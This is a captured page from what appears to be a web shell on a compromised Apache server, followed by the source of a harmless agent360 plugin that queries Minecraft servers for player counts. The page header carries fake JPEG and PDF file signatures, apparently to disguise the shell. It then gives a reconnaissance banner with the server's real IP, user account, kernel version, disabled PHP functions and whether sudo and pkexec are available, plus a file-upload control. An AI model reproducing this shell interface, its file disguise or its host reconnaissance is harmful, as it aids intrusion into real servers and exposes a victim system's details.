ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/local/lib/python3.6/site-packages/agent360/plugins/ |
Upload File : |
import plugins import socket import struct import json class Plugin(plugins.BasePlugin): __name__ = 'minecraft' def run(self, config): ''' Fetch the amount of active and max players add to /etc/agent360.ini [minecraft] enabled=yes hosts=127.0.0.1:8000,127.0.0.2:8000... ''' my_hosts = config.get('minecraft', 'hosts').split(',') result = {} for connection_string in my_hosts: try: # Connect s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) hostname = connection_string.split(':')[0] port = int(connection_string.split(':')[1]) s.connect((hostname, port)) # Send handshake + status request s.send(self.pack_data("\x00\x00" + self.pack_data(hostname.encode('utf8')) + self.pack_port(port) + "\x01")) s.send(self.pack_data("\x00")) # Read response self.unpack_varint(s) # Packet length self.unpack_varint(s) # Packet ID l = self.unpack_varint(s) # String length d = "" while len(d) < l: d += s.recv(1024) # Close our socket s.close() except: pass results = {} try: players = json.loads(d.decode('utf8'))['players'] results['online'] = int(players['online']) results['max'] = int(players['max']) except: results['online'] = 0 results['max'] = 0 result[str(connection_string.replace('.', '-'))] = results return result def unpack_varint(self, s): d = 0 for i in range(5): b = ord(s.recv(1)) d |= (b & 0x7F) << 7*i if not b & 0x80: break return d def pack_varint(self, d): o = "" while True: b = d & 0x7F d >>= 7 o += struct.pack("B", b | (0x80 if d > 0 else 0)) if d == 0: break return o def pack_data(self, d): return self.pack_varint(len(d)) + d def pack_port(self, i): return struct.pack('>H', i) if __name__ == '__main__': Plugin().execute()